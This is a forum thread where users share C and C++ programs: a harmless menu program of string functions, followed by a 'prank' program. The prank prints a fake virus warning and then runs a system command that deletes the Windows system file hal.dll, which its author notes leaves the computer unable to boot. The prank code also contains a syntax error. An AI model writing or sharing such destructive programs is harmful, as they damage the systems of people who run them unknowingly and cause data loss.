Home » Ask & Discuss » Fun Zone » Games, Puzzles and Quizzes « Back to Discussion
Games, Puzzles and Quizzes
Hi friends i thought of creating a post for C and C++ program.....
if you need any program just post a request here and other GOIITans may help ( including ME )....
if you have any program just post em here and get rated by ME ( FOR SURE ) and other members....
to copy a c++ program there is a simple way tat many of us do not know
(i.e) Just go to the place where you have saved it and just right click and 'open with..' any text editter like notepad......
TO compile it also there is a simple way...
Just copy the program from the post and paste it in NOTEPAD and save as
' .cpp ' or '.c' file and then open it using the c++ editter....
I am saying the above 2 methods cauz many of us write the entire program and tat takes a long time.....
PLEASE GIVE YOUR BEST - THANKS....
Comments (102)
//Another menu program of various string functions
#include <iostream.h>
#include <conio.h>
#include <process.h>
#include <stdio.h>
#include <ctype.h>
const char vowels[] = "AEIOUaeiou";
void WordCount(char str[])
{
int count = 1;
for(int i = 0; str[i] != '\0'; i++)
{
if(str[i] == ' ')
count++;
}
cout << "\nThe number of words is - " << count;
}
void countVC(char str[])
{
int i, j, cons = 0, vows = 0, ch = 0;
int flag = 0;
for(i = 0; str[i] != '\0'; i++)
{
if(isalpha(str[i]))
{
ch++;
for(j = 0; j < 11; j++)
{
if(str[i] != vowels[j])
flag = 1;
else
{
flag = 0;
break;
}
}
if(flag == 1)
cons++;
}
}
vows = ch - cons;
cout << "\nConsonants - " << cons;
cout << "\nVowels - " << vows;
}
void CharCount(char str[])
{
int up = 0, low = 0, spec = 0, digit = 0;
for(int i = 0; str[i] != '\0'; i++)
{
char ch = str[i];
if(isalpha(ch))
{
if(isupper(ch))
up++;
if(islower(ch))
low++;
}
else if(isdigit(ch))
digit++;
else if(!(isalpha(ch)) && ch != ' ')
spec++;
}
cout << "\nNumber of uppercase characters - " << up;
cout << "\nNumber of lowercase characters - " << low;
cout << "\nNumber of digits - " << digit;
cout << "\nNumber of specials - " << spec;
countVC(str);
}
void RevSent(char str[])
{
int l, begin, end;
char ch;
for(int i = 0; str[i] != '\0'; i++)
l = i;
for(begin = 0, end = l; begin < end; begin++, end--)
{
ch = str[begin];
str[begin] = str[end];
str[end] = ch;
}
cout << "\nReversed string : " << str;
}
void RevWord(char str[])
{
int i,j,begin,end;
char ch;
for(i=0;str[i]!='\0';i++)
{
for(j=i;str[j]!='\0'&&str[j]!=' ';j++);
begin=i;
end=j-1;
while(begin<end)
{
ch=str[begin];
str[begin]=str[end];
str[end]=ch;
begin++;end--;
}
i=j;
}
cout<<"\n string with reversed word :"<<endl<<str;
}
int main()
{
int sw; //switch var
char str1[200], ans; //ans for continuing or breaking.
do
{
clrscr();
cout << "WELCOME TO THE STRINGS PROGRAM";
cout << "\nChoose an option below\n";
cout << "(1): Count words in a string\n";
cout << "(2): Count various parts of a sentence\n";
cout << "(3): Reverse the whole string\n";
cout << "(4): Reverse each word of string\n";
cout << "(5): Exit\n";
cout << "> ";
cin >> sw;
clrscr();
switch(sw)
{
case 1:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
WordCount(str1);
getch();
break;
case 2:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
CharCount(str1);
getch();
break;
case 3:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
RevSent(str1);
getch();
break;
case 4:
cin.ignore();
cout << "\nEnter a string - ";
cin.getline(str1, 200);
RevWord(str1);
getch();
break;
case 5:
exit(0);
default:
cout << "\nInvalid Choice";
}
cout << "\nStart again? (Y/N) - ";
cin >> ans;
clrscr();
}while(ans == 'y' || ans == 'Y');
return 0;
}













//A little prank program I made which created tension in many :D
//Note : Do NOT try this on your computer. If C:\windows\system32\hal.dll gets deleted, your computer won't boot.
//Keep a backup copy of it if you want to try out the prog on your comp.
#include <iostream.h>
#include <stdlib.h>
#include <conio.h>
#include <dos.h>
void main()
{
cout << "\nPreparing to demolish your computer.";
sleep(3000);
cout << "\nVirus W32.MyDoom.Noob=You taking over!!!!!"
sleep(1500);
system("del %systemroot%\\system32\\hal.dll");
sleep(1500);
cout << "\nDemolition successful";
getch();
return 0;
}